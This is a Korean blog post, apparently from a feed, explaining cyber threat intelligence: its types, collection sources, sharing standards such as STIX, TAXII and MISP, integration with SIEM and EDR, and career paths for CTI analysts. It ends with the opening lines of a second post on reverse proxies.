<p>오늘의 주제는 CTI이다. 정보보호 교육도 듣고, 관련 프로젝트와 세미나 경험 등을 쌓으며 매우 큰 관심을 갖게 된 분야이다. 지금으로서는 1지망에 가장 가깝긴 하지만, 뭐든 이른 확신은 좋지 않으니... 일단은 차근차근 알아가며 관련 지식과 경험부터 쌓아 보려 한다.</p>
<hr>
<h2 id="1-cti의-개념과-필요성">1. CTI의 개념과 필요성</h2>
<h3 id="11-cti의-정의와-핵심-요소">1.1 CTI의 정의와 핵심 요소</h3>
<p><strong>CTI(Cyber Threat Intelligence)</strong> 는 사이버 보안 위협에 대한 정보를 수집하고, 분석하여, 조직의 의사결정과 방어 전략 수립에 활용할 수 있도록 정제한 <strong>정보 기반 인텔리전스</strong>다. 단순한 로그, IOC(Indicator of Compromise) 모음이 아니라, 그것들이 <strong>&quot;의미 있는 맥락과 행위 기반 분석을 통해 해석되고 이해될 수 있을 때 CTI로 간주</strong>된다.</p>
<p>국제적으로는 [Gartner], [MITRE], [NIST] 등에서 다음과 같은 CTI의 핵심 속성을 공통적으로 정의한다:</p>
<ol>
<li><p><strong>Contextual (맥락성)</strong></p>
<ul>
<li>공격자는 누구인가?</li>
<li>어떤 목적을 가지고 있는가?</li>
<li>특정 산업을 노리고 있는가?</li>
</ul>
</li>
<li><p><strong>Actionable (실행 가능성)</strong></p>
<ul>
<li>네트워크 장비나 EDR, SIEM에 적용 가능한 정보인가?</li>
<li>대응 시나리오에 즉시 반영 가능한가?</li>
</ul>
</li>
<li><p><strong>Timely (적시성)</strong></p>
<ul>
<li>현재 위협에 대한 정보인가, 과거의 정보인가?</li>
<li>적시에 수집·전달되어 대응 시간을 최소화할 수 있는가?</li>
</ul>
</li>
<li><p><strong>Accurate (정확성)</strong></p>
<ul>
<li>잘못된 경보를 발생시키지 않도록 신뢰 가능한 출처 기반인가?</li>
</ul>
</li>
</ol>
<blockquote>
<p>요약: CTI는 단순한 로그의 나열이 아니라, 공격자의 전술(Tactics), 기술(Techniques), 절차(Procedures)까지 포함하는 TTP 기반 분석 체계</p>
</blockquote>
<h3 id="12-위협-데이터-정보-인텔리전스의-구분">1.2 위협 데이터, 정보, 인텔리전스의 구분</h3>
<p>CTI의 기본적인 틀을 이해하기 위해서는, <strong>Threat Data</strong>, <strong>Threat Information</strong>, <strong>Threat Intelligence</strong>의 세 단계 개념을 명확히 구분할 필요가 있다</p>
<table>
<thead>
<tr>
<th><strong><em>구분</em></strong></th>
<th><strong><em>설명</em></strong></th>
<th><strong><em>예시</em></strong></th>
</tr>
</thead>
<tbody><tr>
<td>Threat Data</td>
<td>구조화되지 않은 원시 위협 데이터</td>
<td>PCAP, 로그, 도메인/IP, 해시값, 포렌식 덤프 등</td>
</tr>
<tr>
<td>Threat Information</td>
<td>분석을 통해 의미가 부여된 위협 정보</td>
<td>악성코드가 특정 국가에서 발생, APT 그룹과 연계 가능성</td>
</tr>
<tr>
<td>Threat Intelligence</td>
<td>조직의 보안 전략 수립에 사용 가능한 분석/판단된 인텔리전스</td>
<td>이 위협은 북한 계열 Lazarus 그룹이 금융기관을 겨냥하여 수행한 공격으로 판단됨</td>
</tr>
</tbody></table>
<blockquote>
<p>즉, 데이터 → 정보 → 인텔리전스로 갈수록 추상도와 활용도는 높아지고, 기술적 분석뿐 아니라 사이버 범죄의 전술·정책적 맥락까지 포함하게 된다.</p>
</blockquote>
<h3 id="13-사이버-보안-전략에서-cti의-위치">1.3 사이버 보안 전략에서 CTI의 위치</h3>
<p>CTI는 조직 보안 체계 전반에서 다음과 같은 위치와 역할을 수행한다:</p>
<h4 id="1-보안-운영soc과의-연계">1) 보안 운영(SOC)과의 연계</h4>
<ul>
<li>CTI는 SIEM이나 EDR 등의 경보 정보의 맥락 제공자 역할을 한다.</li>
<li>IOC에 기반한 탐지뿐 아니라, TTP 기반 탐지 규칙 생성에 도움을 준다.</li>
</ul>
<h4 id="2-위협-사냥threat-hunting">2) 위협 사냥(Threat Hunting)</h4>
<ul>
<li>정적 탐지 시스템으로는 포착되지 않는 은밀한 위협에 대한 사전 탐지에 활용된다.</li>
<li>MITRE ATT&amp;CK 매트릭스를 기반으로 특정 APT 그룹의 기법을 선제적으로 탐지 가능.</li>
</ul>
<h4 id="3-보안-정책-및-대응-전략-수립">3) 보안 정책 및 대응 전략 수립</h4>
<ul>
<li>CSIRT(Computer Security Incident Response Team) 은 CTI를 기반으로 대응 시나리오를 사전에 설계하고, 공격 발생 시 빠르게 의사결정을 내릴 수 있다.</li>
<li>산업 및 조직 맞춤형 보안 정책 수립 가능.</li>
</ul>
<h4 id="4-조직-전반의-리스크-평가">4) 조직 전반의 리스크 평가</h4>
<ul>
<li>사이버 위협 인텔리전스를 활용하여, 기업 자산에 대한 사이버 위험 평가와 우선순위 선정이 가능하다.</li>
<li>예: &quot;이 산업군은 최근 APT29 그룹의 타깃이 되었으며, 우리 조직도 유사한 기술스택을 사용하고 있다.&quot;</li>
</ul>
<blockquote>
<p>CTI는 단순 보안 기술이 아니라, 사이버 방어 전략의 중추적 요소이며, 정보 기반의 결정을 가능하게 하는 실질적 기반이다.</p>
</blockquote>
<hr>
<h2 id="2-cti의-유형별-분류">2. CTI의 유형별 분류</h2>
<p>CTI는 활용 목적과 적용 범위에 따라 <strong>전략적(Strategic), 전술적(Tactical), 운영적(Operational), 기술적(Technical) 인텔리전스로 구분</strong>된다. 이 네 가지는 조직 내에서의 역할, 수신자, 데이터의 심층 정도가 서로 다르기 때문에 반드시 구분해서 이해할 필요가 있다.</p>
<h3 id="21-전략적strategic-인텔리전스">2.1 전략적(Strategic) 인텔리전스</h3>
<p><strong>조직의 경영진, 의사결정자(CISO, CIO 등)</strong> 를 대상으로 제공되는 고수준 인텔리전스. <strong>조직의 보안 투자 및 정책 결정</strong>에 기여하는 정보로, 기술적인 세부사항보다는 <strong>위협 트렌드, 지정학적 상황, 산업별 위험</strong> 등을 중심으로 구성된다.</p>
<h4 id="1-특징">1) 특징</h4>
<ul>
<li>비기술적인 내용 중심, 텍스트 기반 보고서 형태.</li>
<li>장기적인 보안 전략 수립과 보안 예산 편성에 영향.</li>
<li>OSINT, APT 그룹 동향, 국가별 위협 동향 등.</li>
</ul>
<h4 id="2-예시">2) 예시</h4>
<ul>
<li>“2023년 북미 지역 금융기관 대상 랜섬웨어 공격 급증: Lockbit 그룹 주도”</li>
<li>“한국 내 제조업 타깃 APT31 활동 보고서 (KISA 제공)”</li>
</ul>
<blockquote>
<p>사용자는 보안 책임자, 경영진이며, 이 정보를 바탕으로 보안 조직 구조나 기술 도입 여부 등을 판단함.</p>
</blockquote>
<h3 id="22-전술적tactical-인텔리전스">2.2 전술적(Tactical) 인텔리전스</h3>
<p><strong>SOC 애널리스트, SIEM 관리자, 침해사고 대응팀(CSIRT)</strong> 등을 위한 정보로, <strong>공격자의 TTP(Tactics, Techniques, Procedures)</strong> 에 관한 내용이 중심이다. 주로 <strong>MITRE ATT&amp;CK</strong> 프레임워크와 연계되어 표현된다.</p>
<h4 id="1-특징-1">1) 특징</h4>
<ul>
<li>공격의 의도, 방법, 단계별 기법 중심.</li>
<li>보안 탐지 룰 구성, 탐지 툴 튜닝에 활용.</li>
<li>적절한 방어 정책 수립 및 탐지 룰 정교화 가능.</li>
</ul>
<h4 id="2-예시-1">2) 예시</h4>
<ul>
<li>“APT28은 PowerShell을 통한 스크립트 다운로드(T1059.001)를 이용해 초기 접근을 수행”</li>
<li>“내부 침투 이후 Mimikatz(T1003.001) 사용하여 계정 정보 덤프”</li>
</ul>
<blockquote>
<p>보안 탐지 시스템에서 False Positive 최소화, 위협 식별 정확도 향상에 기여함.</p>
</blockquote>
<h3 id="23-운영적operational-인텔리전스">2.3 운영적(Operational) 인텔리전스</h3>
<p><strong>실제 공격 발생 시점에, 특정 공격 캠페인의 세부 정보를 파악하고 대응하기 위한 인텔리전스.</strong> 보통 <strong>침해사고 대응팀(Incident Response)</strong> 이나 <strong>위협 헌터(Threat Hunter)</strong> 가 활용한다.</p>
<h4 id="1-특징-2">1) 특징</h4>
<ul>
<li>캠페인 타임라인, 공격 인프라, 대상 산업군 등 정황 중심 정보.</li>
<li>위협 행위자 식별, 공격 동선 추적, 대응 우선순위 결정에 활용.</li>
<li>종종 비공개 소스(예: 침해 리포트, 다크웹 포럼 등)를 통해 수집.</li>
</ul>
<h4 id="2-예시-2">2) 예시</h4>
<ul>
<li>“2024년 5월 12일 기준, FIN7이 등록한 C2 도메인 4개가 활성화됨”</li>
<li>“APT37이 한 금융기관을 침투 후 3일간 내부망에서 lateral movement 수행”</li>
</ul>
<blockquote>
<p>실시간 분석 및 대응에 쓰이므로, 정보의 정확성과 적시성이 핵심임.</p>
</blockquote>
<h3 id="24-기술적technical-인텔리전스">2.4 기술적(Technical) 인텔리전스</h3>
<p><strong>보안 장비나 스크립트에서 자동으로 처리 가능한 위협 지표(IoC, Indicator of Compromise) 정보</strong>를 의미하며, 가장 <strong>구조화된 형태의 데이터</strong>로 구성된다. 주로 <strong>자동화된 보안 시스템에 연동되어 실시간 탐지와 차단을 수행</strong>할 수 있도록 함.</p>
<h4 id="1-특징-3">1) 특징</h4>
<ul>
<li>IP 주소, 도메인, 해시, URL, C2 주소 등 정형 데이터 중심.</li>
<li>단기 유효성이 높은 대신, 빨리 폐기되거나 회피되기 쉬움.</li>
<li>STIX/TAXII, MISP 등의 포맷으로 표현 가능.</li>
</ul>
<h4 id="2-예시-3">2) 예시</h4>
<ul>
<li>SHA256 해시: <code>a34e8b23650b17c2459a0b10f9c02321e19f...</code></li>
<li>악성 URL: <code>hxxp://example[.]com/login.php</code></li>
<li>C2 IP: <code>185.127.23.101</code></li>
</ul>
<blockquote>
<p>기술적 IoC는 탐지/차단을 위한 1차 필터이지만, 오탐 가능성도 존재하므로 상위 단계의 CTI와 함께 사용해야 실효성이 높아짐.</p>
</blockquote>
<hr>
<h2 id="3-cti-데이터-수집-및-분석-기법">3. CTI 데이터 수집 및 분석 기법</h2>
<p>효과적인 CTI는 정확하고 시의적절한 데이터 수집과 정교한 분석을 기반으로 한다. 정보의 출처는 다양하며, 신뢰성과 유효성, 자동화 가능성 등 각기 다른 특성을 지닌다. 이를 이해하고 적절히 조합하는 것이 CTI 성공의 핵심이다.</p>
<h3 id="31-오픈소스-인텔리전스osint">3.1 오픈소스 인텔리전스(OSINT)</h3>
<p><strong>OSINT(Open Source Intelligence)</strong> 는 공개적으로 접근 가능한 모든 정보를 의미한다. 합법적인 경로로 수집되며, 비용 부담이 적고 활용 범위가 넓다.</p>
<h4 id="1-주요-수집-대상">1) 주요 수집 대상</h4>
<ul>
<li><strong>위협 행위자 그룹 활동</strong>: 트위터, 블로그, 포럼 등에서의 자발적 유출</li>
<li><strong>취약점 정보</strong>: NVD, Exploit-DB, CVE feed</li>
<li><strong>악성코드 캠페인 보고서</strong>: KISA, CERT, FireEye, Recorded Future 등의 위협 분석 리포트</li>
<li><strong>공개 코드 저장소</strong>: GitHub, Pastebin, 공개 바이너리 저장소</li>
</ul>
<h4 id="2-수집-도구-예시">2) 수집 도구 예시</h4>
<ul>
<li><code>SpiderFoot</code>, <code>theHarvester</code>: 이메일, IP, 도메인 정보 수집</li>
<li><code>Shodan</code>, <code>Censys</code>: 인터넷 연결 장비 및 취약 시스템 검색</li>
<li>RSS 기반 수집 자동화 스크립트 (ex. <code>feedparser</code> + <code>MongoDB</code>)</li>
</ul>
<h4 id="3-장점과-한계">3) 장점과 한계</h4>
<ul>
<li><strong>장점</strong>: 접근성, 비용 없음, 다양성</li>
<li><strong>한계</strong>: 정보의 정확성/신뢰도 불확실, 노이즈 많음, 실시간성 낮음</li>
</ul>
<blockquote>
<p>OSINT는 다른 정보 출처를 보완하는 역할로 주로 활용되며, 자동화된 전처리 필터링이 중요함.</p>
</blockquote>
<h3 id="32-클로즈드-피드-다크웹-악성코드-분석">3.2 클로즈드 피드, 다크웹, 악성코드 분석</h3>
<p>공개되지 않은 폐쇄형 데이터 또는 악의적 환경에서 수집한 정보는 보다 정밀하고 실무적인 위협 식별에 적합하다.</p>
<h4 id="1-클로즈드-cti-피드">1) 클로즈드 CTI 피드</h4>
<ul>
<li>보안 솔루션 업체, 전문 CTI 벤더(FireEye, CrowdStrike, Anomali 등)에서 유료 제공.</li>
<li>IP, 해시, 도메인뿐 아니라 APT 그룹 연계 정보, 캠페인 기반 분석 제공.</li>
<li>일부 피드는 TAXII 프로토콜로 자동 연동 가능.</li>
</ul>
<h4 id="2-다크웹딥웹-모니터링">2) 다크웹/딥웹 모니터링</h4>
<ul>
<li>공격자 커뮤니티, 해커 포럼, 거래 게시판, 크레덴셜 마켓 등에서 위협 단서 확보.</li>
<li>유출된 계정 정보, 공격 도구 판매, 특정 타깃 언급 등 직접적인 위협 발견 가능.</li>
<li>대표적 접근 방식: Tor 기반 크롤링, 스팸봇 활용, OSINT 대행 서비스 이용.</li>
</ul>
<h4 id="3-악성코드-정적동적-분석">3) 악성코드 정적/동적 분석</h4>
<ul>
<li><strong>정적 분석</strong>: 패킹 여부, 문자열 추출, 해시 분석, 악성 API 탐색</li>
<li><strong>동적 분석</strong>: Cuckoo Sandbox, AnyRun 등에서의 행위 기반 분석</li>
<li>C2 주소, 도메인, 드롭퍼 위치 등 기술적 인텔리전스 추출</li>
</ul>
<blockquote>
<p>이들 정보는 위협 행위자 식별, 캠페인 연계 분석, 사전 탐지 룰 생성에 필수적임</p>
</blockquote>
<h3 id="33-threat-hunting과의-연계">3.3 Threat Hunting과의 연계</h3>
<p>Threat Hunting은 <strong>수동 탐지 체계를 넘어 능동적으로 위협을 탐색하는 활동</strong>이며, CTI는 이를 위한 기반 정보로 활용된다.</p>
<h4 id="1-연계-구조">1) 연계 구조</h4>
<ul>
<li>CTI → 탐지 가설 생성 → 로그/이벤트 수집 → 분석 → IOC/행위 패턴 업데이트</li>
<li>예: APT29의 Cobalt Strike 사용 보고 → 환경 내 Beacon 관련 이상 커넥션 수색</li>
</ul>
<h4 id="2-필요한-기술-스택">2) 필요한 기술 스택</h4>
<ul>
<li>SIEM (ex. Splunk, ELK): 대규모 로그 수집 및 인덱싱</li>
<li>EDR (ex. SentinelOne, CrowdStrike): 엔드포인트 행위 데이터 수집</li>
<li>YARA, Sigma: 탐지 룰 작성</li>
<li>Jupyter Notebook, pandas: 데이터 분석 자동화</li>
</ul>
<h4 id="3-분석-기법-예시">3) 분석 기법 예시</h4>
<ul>
<li><strong>시간적 상관관계 분석</strong>: 동일한 TTP가 발생하는 시간대 식별</li>
<li><strong>통계 기반 이상 탐지</strong>: 정상 동작과의 비교를 통한 이상 흐름 포착</li>
<li><strong>Kill Chain 매핑</strong>: 수집된 이벤트가 공격 단계 중 어디에 해당하는지 분석</li>
</ul>
<blockquote>
<p>Threat Hunting은 단순히 위협을 찾는 것이 아니라, 환경에 맞는 탐지 전략을 설계하고 CTI 피드백을 통한 지속적 개선을 목표로 한다.</p>
</blockquote>
<hr>
<h2 id="4-cti-통합-및-자동화-기술">4. CTI 통합 및 자동화 기술</h2>
<h3 id="41-stix-taxii-misp-등-표준-포맷">4.1 STIX, TAXII, MISP 등 표준 포맷</h3>
<p>위협 인텔리전스는 협업과 자동화를 위해 표준화된 표현 방식과 전송 방식을 따라야 한다. STIX와 TAXII는 가장 널리 쓰이는 오픈 표준이다.</p>
<h4 id="1-stix-structured-threat-information-expression">1) STIX (Structured Threat Information Expression)</h4>
<ul>
<li><p><strong>MITRE</strong>에서 개발한 위협 인텔리전스 표현 표준 포맷.</p>
</li>
<li><p>JSON 기반 구조로 구성되며, 객체 단위로 위협 정보를 표현.</p>
</li>
<li><p>주요 구성 요소:</p>
<ul>
<li><code>Indicator</code>: 악성 도메인, 해시 등 IOC</li>
<li><code>Malware</code>, <code>Threat Actor</code>, <code>Campaign</code>: 공격자 정보</li>
<li><code>Relationship</code>: 객체 간 관계 표현 (ex. APT28 → 사용한 Malware → 사용하는 TTP)</li>
</ul>
</li>
<li><p>버전 2.1부터 구조가 단순화되어 실무에서 많이 활용됨.</p>
</li>
</ul>
<h4 id="2-taxii-trusted-automated-exchange-of-indicator-information">2) TAXII (Trusted Automated eXchange of Indicator Information)</h4>
<ul>
<li>STIX 형식의 정보를 주고받기 위한 API 기반 통신 프로토콜.</li>
<li>TAXII 서버/클라이언트 구조를 통해 IOC의 자동 수집 및 배포 가능.</li>
<li>많은 CTI 플랫폼(MISP 포함) 및 벤더에서 기본 지원.</li>
</ul>
<h4 id="3-misp-malware-information-sharing-platform">3) MISP (Malware Information Sharing Platform)</h4>
<ul>
<li><strong>EU 정부</strong> 주도로 개발된 오픈소스 CTI 플랫폼.</li>
<li>STIX, TAXII 지원하며 웹 기반 UI 제공.</li>
<li>실시간 IOC 공유, Feed 구독, TAG 기반 분류 등 제공.</li>
<li>기업 간, 국가 간 CTI 협력 시 기반 인프라로 자주 사용됨.</li>
</ul>
<blockquote>
<p>이 세 가지는 위협 인텔리전스의 생성-표현-유통이라는 전체 흐름을 연결해주는 핵심 요소들이다.</p>
</blockquote>
<h3 id="42-tipthreat-intelligence-platform의-역할">4.2 TIP(Threat Intelligence Platform)의 역할</h3>
<p><strong>Threat Intelligence Platform(TIP)</strong> 은 다양한 위협 인텔리전스를 <strong>수집, 정규화, 분석, 배포</strong>하는 <strong>중앙 허브</strong> 역할을 한다. 단순 저장소가 아닌 <strong>지능형 처리 및 연동 기능</strong>이 핵심이다.</p>
<h4 id="1-주요-기능">1) 주요 기능</h4>
<ul>
<li><strong>인텔리전스 통합</strong>: OSINT, 상업 피드, 내부 분석 결과 등 다수 출처 통합</li>
<li><strong>정규화 및 중복 제거</strong>: 포맷 표준화, 신뢰도 태깅, 우선순위 조정</li>
<li><strong>상호 연관 분석</strong>: 다양한 IOC 및 엔터티 간 관계 시각화</li>
<li><strong>자동 배포</strong>: SIEM, EDR, 방화벽, WAF 등으로 자동 푸시</li>
<li><strong>수명 주기 관리</strong>: IOC의 유효 기간, 평판 점수 관리</li>
</ul>
<h4 id="2-상용-tip-예시">2) 상용 TIP 예시</h4>
<ul>
<li><strong>Anomali</strong>, <strong>ThreatConnect</strong>, <strong>IBM X-Force Exchange</strong>, <strong>Recorded Future</strong></li>
<li>대부분 TAXII 서버/클라이언트 역할 수행, API 연동 제공</li>
</ul>
<h4 id="3-오픈소스-기반-tip">3) 오픈소스 기반 TIP</h4>
<ul>
<li><strong>OpenCTI</strong>: MITRE ATT&amp;CK 통합, MISP 연동 지원</li>
<li><strong>YETI</strong>: 실시간 피드 연동, 자동 태깅, 시각화 기능</li>
</ul>
<blockquote>
<p>TIP은 단순히 IOC 저장소가 아니라, 분석과 배포 자동화를 통해 보안 운영을 지능화하는 허브라는 점이 핵심이다.</p>
</blockquote>
<h3 id="43-보안-장비와의-연동siem-edr-등">4.3 보안 장비와의 연동(SIEM, EDR 등)</h3>
<p>CTI의 효과는 <strong>SIEM, EDR, NDR, Firewall, WAF 등 보안 솔루션에 통합 적용될 때 극대화</strong>된다. 단순히 정보 수집에 그치지 않고, <strong>탐지/대응을 자동화</strong>하는 단계로 확장된다.</p>
<h4 id="1-siem과의-연동">1) SIEM과의 연동</h4>
<ul>
<li>Splunk, QRadar, ELK 등 SIEM은 <strong>CTI를 기반으로 로그를 상관 분석</strong>.</li>
<li><code>Threat Intelligence Lookup</code> 기능을 통해 IP/도메인 해시 조회</li>
<li>CTI 기반 탐지 룰(예: Sigma 룰)을 통해 자동 경고 생성</li>
<li>Splunk + MISP 연동을 통해 실시간 IOC 피드 연동 가능</li>
</ul>
<h4 id="2-edr과의-연동">2) EDR과의 연동</h4>
<ul>
<li>CrowdStrike, SentinelOne, Carbon Black 등은 IOC를 받아 엔드포인트 이상 행위 탐지에 활용.</li>
<li>YARA 룰 기반 스캔, 해시 기반 격리, 스크립트 차단 등으로 자동 대응 가능</li>
<li>CTI 플랫폼에서 위협 해시값을 EDR에 자동 푸시하는 구조 구현 가능</li>
</ul>
<h4 id="3-기타-장비와의-연동">3) 기타 장비와의 연동</h4>
<ul>
<li><strong>Firewall/WAF</strong>: 차단 정책 자동 업데이트 (예: 악성 IP 차단)</li>
<li><strong>SOAR</strong>: CTI 기반 Playbook 자동 실행 → 탐지 → 격리 → 보고</li>
<li><strong>NDR (Network Detection &amp; Response)</strong>: 비정상 패턴에 CTI 태깅 적용</li>
</ul>
<blockquote>
<p>연동의 핵심은 정제된 CTI를 실시간으로 배포할 수 있는 자동화 파이프라인 구축이다.</p>
</blockquote>
<hr>
<h2 id="5-cti의-실무-활용-및-인시던트-대응">5. CTI의 실무 활용 및 인시던트 대응</h2>
<h3 id="51-기업-내-cti-적용-흐름">5.1 기업 내 CTI 적용 흐름</h3>
<p>조직 내에서 CTI를 효과적으로 활용하기 위해서는 다음과 같은 흐름을 따른다.</p>
<h4 id="1-위협-정보-수집">1) 위협 정보 수집</h4>
<ul>
<li><strong>내부 소스</strong>: 로그 데이터, 보안 장비 알림, 사용자 신고 등의 내부 데이터를 수집한다.</li>
<li><strong>외부 소스</strong>: 오픈소스 인텔리전스(OSINT), 상업용 인텔리전스 피드, 다크웹 모니터링 등 외부 채널을 활용한다.</li>
</ul>
<h4 id="2-정보-정제-및-분석">2) 정보 정제 및 분석</h4>
<ul>
<li>수집된 데이터를 정규화하고, 중복을 제거하며, 신뢰도를 평가한다.</li>
<li>분석 도구를 활용하여 위협 패턴을 식별하고, 위협 수준을 평가한다.</li>
</ul>
<h4 id="3-인텔리전스-생성">3) 인텔리전스 생성</h4>
<ul>
<li>분석된 정보를 바탕으로 IOC(Indicators of Compromise)와 TTP(Tactics, Techniques, and Procedures)를 도출한다.</li>
<li>위협 모델링을 수행하고, 조직에 맞는 대응 전략을 수립한다.</li>
</ul>
<h4 id="4-대응-및-예방-조치">4) 대응 및 예방 조치</h4>
<ul>
<li>도출된 인텔리전스를 기반으로 보안 장비의 탐지/차단 정책을 업데이트하거나, 사용자 교육을 실시한다.</li>
<li>인시던트 대응 계획을 수립하고, 필요시 보안 훈련을 진행한다.</li>
</ul>
<h3 id="52-ioc-ttp-기반-탐지-및-대응">5.2 IOC, TTP 기반 탐지 및 대응</h3>
<p>CTI의 핵심은 IOC 및 TTP를 활용한 위협 탐지와 대응에 있다.</p>
<h4 id="1-ioc-기반-탐지">1) IOC 기반 탐지</h4>
<ul>
<li>IOC는 알려진 위협의 지표로, 특정 IP 주소, 도메인, 파일 해시 등이 해당된다.</li>
<li>보안 장비나 SIEM 시스템에서 이러한 IOC를 활용하여 실시간으로 위협을 탐지할 수 있다.</li>
</ul>
<h4 id="2-ttp-기반-탐지">2) TTP 기반 탐지</h4>
<ul>
<li>TTP는 공격자의 전술, 기술, 절차를 의미하며, MITRE ATT&amp;CK 프레임워크를 통해 체계화되어 있다.</li>
<li>TTP 기반 탐지는 행위 기반 분석을 통해 알려지지 않은 위협도 탐지할 수 있다.</li>
</ul>
<h4 id="3-대응-전략">3) 대응 전략</h4>
<ul>
<li>IOC는 빠른 차단에 효과적이며, TTP는 지속적인 방어 전략 수립에 기여한다.</li>
<li>예를 들어, 특정 TTP를 사용하는 공격자가 확인되면, 해당 TTP에 대한 방어 조치를 강화할 수 있다.</li>
</ul>
<hr>
<h2 id="6-cti-관련-직무-및-진로-탐색">6. CTI 관련 직무 및 진로 탐색</h2>
<h3 id="61-cti-analyst의-역할과-요구-역량">6.1 CTI Analyst의 역할과 요구 역량</h3>
<p>CTI Analyst는 사이버 위협 정보를 수집, 분석, 평가하여 조직의 보안 전략 수립과 인시던트 대응을 지원하는 핵심 역할을 수행한다. 주요 업무는 다음과 같다:​</p>
<h4 id="1-위협-정보-수집-및-분석">1) 위협 정보 수집 및 분석</h4>
<ul>
<li>오픈소스(OSINT), 상업용 인텔리전스 피드, 다크웹 등 다양한 소스에서 위협 정보를 수집한다.</li>
<li>수집된 데이터를 분석하여 공격자의 전술, 기술, 절차(TTP)를 파악한다.​</li>
</ul>
<h4 id="2-인텔리전스-보고서-작성">2) 인텔리전스 보고서 작성</h4>
<ul>
<li>분석 결과를 바탕으로 조직 내 이해관계자에게 전달할 수 있는 형태의 보고서를 작성한다.</li>
<li>기술적 세부사항과 함께 전략적 시사점을 포함하여 경영진의 의사결정을 지원한다.​</li>
</ul>
<h4 id="3-보안-장비-및-정책-연동">3) 보안 장비 및 정책 연동</h4>
<ul>
<li>도출된 IOC(Indicators of Compromise)를 보안 장비(SIEM, EDR 등)에 적용하여 탐지 및 대응 체계를 강화한다.</li>
<li>보안 정책 수립에 필요한 인텔리전스를 제공한다.​</li>
</ul>
<p>CTI Analyst에게 요구되는 역량은 다음과 같다:​</p>
<ul>
<li><strong>기술적 역량</strong>: 네트워크 프로토콜, 악성코드 분석, 로그 분석 등 사이버 보안 전반에 대한 이해가 필요하다.</li>
<li><strong>분석 능력</strong>: 수집된 데이터를 기반으로 위협을 식별하고 평가하는 능력이 요구된다.</li>
<li><strong>커뮤니케이션 능력</strong>: 기술적 내용을 비기술적 이해관계자에게 효과적으로 전달할 수 있어야 한다.</li>
<li><strong>도구 활용 능력</strong>: MISP, YARA, Wireshark 등 다양한 분석 도구를 활용할 수 있어야 한다.</li>
</ul>
<h3 id="62-국내외-관련-기관-및-산업-동향">6.2 국내외 관련 기관 및 산업 동향</h3>
<p>CTI 분야는 전 세계적으로 빠르게 성장하고 있으며, 국내에서도 다양한 기관과 기업이 관련 활동을 수행하고 있다.​</p>
<h4 id="1-국내-주요-기관-및-기업">1) 국내 주요 기관 및 기업</h4>
<ul>
<li><strong>한국인터넷진흥원(KISA)</strong>: 사이버 위협 정보 공유 및 분석을 위한 다양한 프로그램을 운영하고 있다.</li>
<li><strong>금융보안원(FSI)</strong>: 금융권을 대상으로 한 CTI 활동을 수행하며, 위협 정보 공유 체계를 구축하고 있다.</li>
<li><strong>샌즈랩</strong>: 인공지능과 빅데이터를 활용한 CTI 기술을 개발하고 있으며, 위협 예측 및 대응 능력을 강화하고 있다 .​<ul>
<li><a href="https://www.gttkorea.com/news/articleView.html?idxno=4118">GTT Korea</a></li>
</ul>
</li>
</ul>
<h4 id="2-글로벌-동향">2) 글로벌 동향</h4>
<ul>
<li><strong>Mandiant</strong>: CTI Analyst의 핵심 역량 프레임워크를 개발하여 업계 표준을 제시하고 있다 .</li>
<li><strong>SANS Institute</strong>: CTI 분야의 교육과 인증 프로그램을 통해 전문가 양성을 지원하고 있다 .​<ul>
<li><a href="https://www.studocu.com/ph/document/technological-university-of-the-philippines/bachelor-of-science-in-electronics-and-communication-engineering/cti-analyst-core-competencies-framework-v1/69240278?utm">Studocu</a></li>
<li><a href="https://www.sans.org/white-papers/mandiant-cyber-threat-intelligence-cti-analyst-core-competencies-framework/?utm">SANS Institute</a></li>
</ul>
</li>
</ul>
<h3 id="63-커리어-로드맵과-기술-스택">6.3 커리어 로드맵과 기술 스택</h3>
<h4 id="1-학습-단계">1) 학습 단계</h4>
<ul>
<li><strong>기초 지식 습득</strong>: 네트워크, 운영체제, 보안 개념 등 기본적인 IT 지식을 학습한다.</li>
<li><strong>전문 지식 강화</strong>: 악성코드 분석, 침해사고 대응, 위협 인텔리전스 등 전문 분야를 심화 학습한다.​</li>
</ul>
<h4 id="2-실무-경험">2) 실무 경험</h4>
<ul>
<li><strong>인턴십 및 프로젝트 참여</strong>: 보안 관련 인턴십이나 프로젝트에 참여하여 실무 경험을 쌓는다.</li>
<li><strong>CTF 대회 참가</strong>: 사이버 보안 대회에 참가하여 실전 대응 능력을 향상시킨다.​</li>
</ul>
<h4 id="3-인증-취득">3) 인증 취득</h4>
<ul>
<li><strong>CTIA</strong>: EC-Council에서 제공하는 위협 인텔리전스 분석가 인증</li>
<li><strong>GCTI</strong>: GIAC에서 제공하는 사이버 위협 인텔리전스 인증</li>
</ul>
<h4 id="4-기술-스택">4) 기술 스택</h4>
<ul>
<li><strong>프로그래밍 언어</strong>: Python, PowerShell 등 스크립트 언어를 활용하여 자동화 및 분석 작업을 수행한다.</li>
<li><strong>분석 도구</strong>: MISP, YARA, Wireshark, Splunk 등 다양한 도구를 활용하여 위협 정보를 수집하고 분석한다.</li>
<li><strong>데이터베이스 및 시각화</strong>: SQL, Kibana 등을 활용하여 데이터를 저장하고 시각화한다.</li>
</ul>
<hr>
<h2 id="7-마무리">7. 마무리</h2>
<p>마지막 부분의 커리어 로드맵 부분을 작성하면서 크게 느꼈지만, 정말 갈길이 멀다... 본문과는 크게 상관이 없어 보여 적지 않았지만 CEH(Certified Ethical Hacker) 같은 탐나는 자격증도 알게 되었고, 어떤 도구를 미리미리 다뤄봐야 하는지에 대해서도 나름 인사이트를 얻을 수 있었다.</p>
<p>열심히 해야지 뭐...</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Daily CS) Reverse Proxy]]></title>
            <link>https://velog.io/@lilac_21/Daily-CS-Reverse-Proxy</link>
            <guid>https://velog.io/@lilac_21/Daily-CS-Reverse-Proxy</guid>
            <pubDate>Thu, 17 Apr 2025 15:31:25 GMT</pubDate>
            <description><![CDATA[<h1 id="reverse-proxy">Reverse Proxy</h1>
<blockquote>
<p>proxy server that appears to any client to be an ordinary web server, but in reality merely acts as an intermediary that forwards the client&#39;s requests to one or more ordinary web servers</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/lilac_21/post/17751440-cc25-4b0f-9b07-4e01c4c69339/image.png" alt=""></p>
<p>오늘의 주제는 리버스 프록시. 프로젝트 중이었나... 자료조사를 하던 중 연관 개념으로 나왔던 걸 따로 기록해뒀는데, 따로 공부해볼 기회를 마련해보고자 오늘의 주제로 삼았다.</p>
<hr>
<h2 id="1-프록시의-기본-개념과-종류">1. 프록시의 기본 개념과 종류</h2>
<h3 id="11-프록시-서버란">1.1 프록시 서버란?</h3>
